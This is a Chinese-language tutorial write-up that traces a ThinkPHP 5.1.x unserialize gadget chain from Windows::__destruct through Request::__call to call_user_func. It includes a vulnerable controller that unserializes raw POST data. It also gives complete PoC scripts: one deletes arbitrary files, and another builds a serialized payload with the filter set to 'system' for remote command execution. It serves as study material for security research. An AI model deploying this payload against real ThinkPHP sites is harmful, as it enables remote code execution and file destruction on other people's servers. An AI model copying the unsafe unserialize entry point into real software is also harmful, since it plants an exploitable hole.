重生之学习thinkphp5.1.x反序列化

前言

昨天分析完tp5.0的,今天继续5.1的,特地去学了一下phar反序列化,康复训练,tp5.1不提供下载,可以通过composer进行安装

安装compoer

https://install.phpcomposer.com/composer.phar

放在php目录下,在 PHP 安装目录下新建一个 composer.bat 文件,并将下列代码保存到此文件中

@php "%~dp0composer.phar" %*

进入web根目录进行安装

composer create-project topthink/think=5.1.35 tp5.1

调用链分析

反序列化,先在控制器里写个入口

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
        return '<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px;} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:) </h1><p> ThinkPHP V5.1<br/><span style="font-size:30px">12载初心不改(2006-2018) - 你值得信赖的PHP框架</span></p></div><script type="text/javascript" src="https://tajs.qq.com/stats?sId=64890268" charset="UTF-8"></script><script type="text/javascript" src="https://e.topthink.com/Public/static/client.js"></script><think id="eab4b9f840753f8e7"></think>';
    }

    public function hello($name = 'ThinkPHP5')
    {
        return 'hello,' . $name;
    }
    public function unser()
    {
        echo $_POST['data'];
        unserialize($_POST['data']);
    }
}

其实前面的调用链和thinkphp5.0.x的是一样的,都是位于thinkphp/library/think/process/pipes/Windows.php的destruct方法,然后调用到removeFiles方法

private function removeFiles()
{
    foreach ($this->files as $filename) {
        if (file_exists($filename)) {
            @unlink($filename);
        }
    }
    $this->files = [];
}

这里其实就是存在任意文件删除的,传个filename进来就好了

poc.php

<?php

namespace think\process\pipes;
class Windows
{
    private $files =["D:\\phpstudy_pro\\WWW\\tp5.1\\1.txt"];;
}
echo urlencode(serialize(new Windows()));
image-20220528153550928

继续接着看反序列化,他接下来是通过file_exists去触发toString方法,这里用到的是thinkphp/library/think/model/concern/Conversion.php的toString方法,一直跟进,最后是调用到toArray方法。

public function toArray()
    {
        $item       = [];
        $hasVisible = false;

        foreach ($this->visible as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)      = explode('.', $val);
                    $this->visible[$relation][] = $name;
                } else {
                    $this->visible[$val] = true;
                    $hasVisible          = true;
                }
                unset($this->visible[$key]);
            }
        }

        foreach ($this->hidden as $key => $val) {
            if (is_string($val)) {
                if (strpos($val, '.')) {
                    list($relation, $name)     = explode('.', $val);
                    $this->hidden[$relation][] = $name;
                } else {
                    $this->hidden[$val] = true;
                }
                unset($this->hidden[$key]);
            }
        }

        // 合并关联数据
        $data = array_merge($this->data, $this->relation);

        foreach ($data as $key => $val) {
            if ($val instanceof Model || $val instanceof ModelCollection) {
                // 关联模型对象
                if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
                    $val->visible($this->visible[$key]);
                } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
                    $val->hidden($this->hidden[$key]);
                }
                // 关联模型对象
                if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
                    $item[$key] = $val->toArray();
                }
            } elseif (isset($this->visible[$key])) {
                $item[$key] = $this->getAttr($key);
            } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
                $item[$key] = $this->getAttr($key);
            }
        }

        // 追加属性(必须定义获取器)
        if (!empty($this->append)) {
            foreach ($this->append as $key => $name) {
                if (is_array($name)) {
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible($name);
                        }
                    }

                    $item[$key] = $relation ? $relation->append($name)->toArray() : [];
                } elseif (strpos($name, '.')) {
                    list($key, $attr) = explode('.', $name);
                    // 追加关联对象属性
                    $relation = $this->getRelation($key);

                    if (!$relation) {
                        $relation = $this->getAttr($key);
                        if ($relation) {
                            $relation->visible([$attr]);
                        }
                    }

                    $item[$key] = $relation ? $relation->append([$attr])->toArray() : [];
                } else {
                    $item[$name] = $this->getAttr($name, $item);
                }
            }
        }

        return $item;
    }

这里的toArray方法比较长,但是我们最终的目的其实是要走到$relation->visible($name);处,目的就是要用来触发call方法,因为call方法避免出现找不到调用的方法而产生错误,在call方法中常利用call_user_func_array来调用,在这里这个$relation可控,所以就选择他。首先如果需要执行到这里,必须满足几个条件

  • !empty($this->append)
  • is_array($name)
  • $relation = $this->getRelation($key);没有获取到$relation
  • $relation = $this->getAttr($key);获取到relation

第一个条件很容易满足,直接看getRelation方法

public function getRelation($name = null)
{
    if (is_null($name)) {
        return $this->relation;
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    return;
}

我们这里需要让他返回的是空,又传入了keykey进去,只需要保证key不在他的relation数组里即可。继续跟进getAttr

public function getAttr($name, &$item = null)
{
    try {
        $notFound = false;
        $value    = $this->getData($name);
    } catch (InvalidArgumentException $e) {
        $notFound = true;
        $value    = null;
    }

    // 检测属性获取器
    $fieldName = Loader::parseName($name);
    $method    = 'get' . Loader::parseName($name, 1) . 'Attr';

    if (isset($this->withAttr[$fieldName])) {
        if ($notFound && $relation = $this->isRelationAttr($name)) {
            $modelRelation = $this->$relation();
            $value         = $this->getRelationData($modelRelation);
        }

        $closure = $this->withAttr[$fieldName];
        $value   = $closure($value, $this->data);
    } elseif (method_exists($this, $method)) {
        if ($notFound && $relation = $this->isRelationAttr($name)) {
            $modelRelation = $this->$relation();
            $value         = $this->getRelationData($modelRelation);
        }

        $value = $this->$method($value, $this->data);
    } elseif (isset($this->type[$name])) {
        // 类型转换
        $value = $this->readTransform($value, $this->type[$name]);
    } elseif ($this->autoWriteTimestamp && in_array($name, [$this->createTime, $this->updateTime])) {
        if (is_string($this->autoWriteTimestamp) && in_array(strtolower($this->autoWriteTimestamp), [
            'datetime',
            'date',
            'timestamp',
        ])) {
            $value = $this->formatDateTime($this->dateFormat, $value);
        } else {
            $value = $this->formatDateTime($this->dateFormat, $value, true);
        }
    } elseif ($notFound) {
        $value = $this->getRelationAttribute($name, $item);
    }

    return $value;
}

最后返回的是valuetry/catchvalue,在try/catch语句中通过`value= this>getData(this->getData(name);`赋值,跟进getData方法

public function getData($name = null)
{
    if (is_null($name)) {
        return $this->data;
    } elseif (array_key_exists($name, $this->data)) {
        return $this->data[$name];
    } elseif (array_key_exists($name, $this->relation)) {
        return $this->relation[$name];
    }
    throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}

这里传进来的namename就是之前的key,他会判断是否在他的data数组和relation数组中。现在先来总结一下之前的

  • $this->append 可控并且不能是空
  • $this->data 可控
  • key是this->append的键名
  • key不是this->relation的键名
  • relation=relation=this->data[$key]

当我们 $relation为一个对象时,就可以进行调用类中的 visible方法且传参可控,但是需要注意

_toString()    trait Conversion类
 toArray()       trait Conversion类
 getRelation()   trait Attribute类
 getAttr()       trait Attribute类

自 PHP 5.4.0 起,PHP 实现了一种代码复用的方法,称为 trait。通过在类中使用use 关键字,声明要组合的Trait名称。所以,这里类的继承要使用use关键字。

所以我们需要找到一个同时继承了Attribute类和Conversion类的对象,找到了thinkphp/library/think/Model.php,但是他是个抽象类,需要找到他的子类Pivot。

继续寻找,我们现在的目标是寻找一个有call方法但是木有visible方法的类,因为一般的call方法会避免找不到调用的方法出错,会使用call_user_func和call_user_func_array。

这里找到的是thinkphp/library/think/Request.php

public function __call($method, $args)
{
    if (array_key_exists($method, $this->hook)) {
        array_unshift($args, $this);
        return call_user_func_array($this->hook[$method], $args);
    }

    throw new Exception('method not exists:' . static::class . '->' . $method);
}

需要让hook数组中有visible这个键。但是args经过了array_unshift函数插入导致args数组的第一个值不可控,但是我们可以调用任何方法。这里先来看thinkphp/library/think/Request.php的input方法

public function input($data = [], $name = '', $default = null, $filter = '')
{
    if (false === $name) {
        // 获取原始数据
        return $data;
    }

    $name = (string) $name;
    if ('' != $name) {
        // 解析name
        if (strpos($name, '/')) {
            list($name, $type) = explode('/', $name);
        }

        $data = $this->getData($data, $name);

        if (is_null($data)) {
            return $default;
        }

        if (is_object($data)) {
            return $data;
        }
    }

    // 解析过滤器
    $filter = $this->getFilter($filter, $default);

    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        if (version_compare(PHP_VERSION, '7.1.0', '<')) {
            // 恢复PHP版本低于 7.1 时 array_walk_recursive 中消耗的内部指针
            $this->arrayReset($data);
        }
    } else {
        $this->filterValue($data, $name, $filter);
    }

    if (isset($type) && $data !== $default) {
        // 强制类型转换
        $this->typeCast($data, $type);
    }

    return $data;
}

他对$data循环调用了filterValue方法。来看看filterValue方法里是怎么写的

private function filterValue(&$value, $key, $filters)
{
    $default = array_pop($filters);

    foreach ($filters as $filter) {
        if (is_callable($filter)) {
            // 调用函数或者方法过滤
            $value = call_user_func($filter, $value);
        } elseif (is_scalar($value)) {
            if (false !== strpos($filter, '/')) {
                // 正则过滤
                if (!preg_match($filter, $value)) {
                    // 匹配不成功返回默认值
                    $value = $default;
                    break;
                }
            } elseif (!empty($filter)) {
                // filter函数不存在时, 则使用filter_var进行过滤
                // filter为非整形值时, 调用filter_id取得过滤id
                $value = filter_var($value, is_int($filter) ? $filter : filter_id($filter));
                if (false === $value) {
                    $value = $default;
                    break;
                }
            }
        }
    }

    return $value;
}

他这里使用了call_user_func,把valuevalue作为参数带入filter进行调用,但是这里的valueinput()value并不可控,他是来源于input()中的data的键,但是input中的$data依旧不可控,继续往上找,找到param方法。

public function param($name = '', $default = null, $filter = '')
{
    if (!$this->mergeParam) {
        $method = $this->method(true);

        // 自动获取请求变量
        switch ($method) {
            case 'POST':
                $vars = $this->post(false);
                break;
            case 'PUT':
            case 'DELETE':
            case 'PATCH':
                $vars = $this->put(false);
                break;
            default:
                $vars = [];
        }

        // 当前请求参数和URL地址中的参数合并
        $this->param = array_merge($this->param, $this->get(false), $vars, $this->route(false));

        $this->mergeParam = true;
    }

    if (true === $name) {
        // 获取包含文件上传信息的数组
        $file = $this->file();
        $data = is_array($file) ? array_merge($this->param, $file) : $this->param;

        return $this->input($data, '', $default, $filter);
    }

    return $this->input($this->param, $name, $default, $filter);
}

他在最后调用了input方法,param是通过get方法传入的,$name并不可控,现在就差name了,再往上找一层,找到isAjax方法

public function isAjax($ajax = false)
{
    $value  = $this->server('HTTP_X_REQUESTED_WITH');
    $result = 'xmlhttprequest' == strtolower($value) ? true : false;

    if (true === $ajax) {
        return $result;
    }

    $result           = $this->param($this->config['var_ajax']) ? true : $result;
    $this->mergeParam = false;
    return $result;
}

这里调用$this->param($this->config['var_ajax']),把自身的config[varajax]paramconfig['var_ajax']作为param方法的name,然后作为input方法的name,并且param中的$data是get传入的参数,作为data一直到filterValue里的key和value。我们从最后开始再走一遍,最终是要调用到这个filterValue方法

主要是$value = call_user_func($filter, $value);,所以我们要进行命令执行,filter就可以是system,value就是我们的命令,这里的filter是filters数组里的,value是在input传入的,继续往上走,在input中调用filterValue的代码如下array_walk_recursive($data, [$this, 'filterValue'], $filter);,此时是对datafilterValuedata调用filterValue,此时的filter就应该是传到filterValue方法里的第三个参数就是filters,他是通过getFilter获取的

protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter) && false === strpos($filter, '/')) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }

    $filter[] = $default;

    return $filter;
}

返回的filter是通过this>filterthis->filter赋值的,所以可控,data是通过$data获取

protected function getData(array $data, $name)
{
    foreach (explode('.', $name) as $val) {
        if (isset($data[$val])) {
            $data = $data[$val];
        } else {
            return;
        }
    }

    return $data;
}

namename是传入的this->config['var_ajax'],datagetpostdata为get与post所有参数,所以data最后为get与post所有参数[$this->config['var_ajax']]

最后poc如下

<?php
 namespace think\process\pipes;
 use think\model\Pivot;
 
 class Windows{
     private $files = [];
     public function __construct(){
         $this->files=[new Pivot()];
     }
 }
 
 namespace think;
 abstract class Model{
     protected $append=[];
     private $data=[];
     public function __construct(){
         $this->append=["ch1e"=>['hello']];
         $this->data=["ch1e"=>new Request()];
     }
 }
 
 namespace think;
 class Request{
     protected $hook = [];
     protected $filter;
     protected $config;
     public function __construct()
     {
         $this->hook['visible'] = [$this, 'isAjax'];
         $this->filter = "system";
     }
 }
 
 namespace think\model;
 use think\Model;
 
 class Pivot extends Model{
 
 }
 
 use think\process\pipes\Windows;
 echo urlencode(serialize(new Windows()));

$this->hook['visible'] = [$this, 'isAjax'];是在__call方法中调用自身的isAjax方法

$this->filter = "system";是为了最终调用的函数

$this->append=["ch1e"=>['hello']];是满足append不为空并且键要在data数组中
$this->data=["ch1e"=>new Request()];是为了通过键去查找并且返回request对象

image-20220528201509223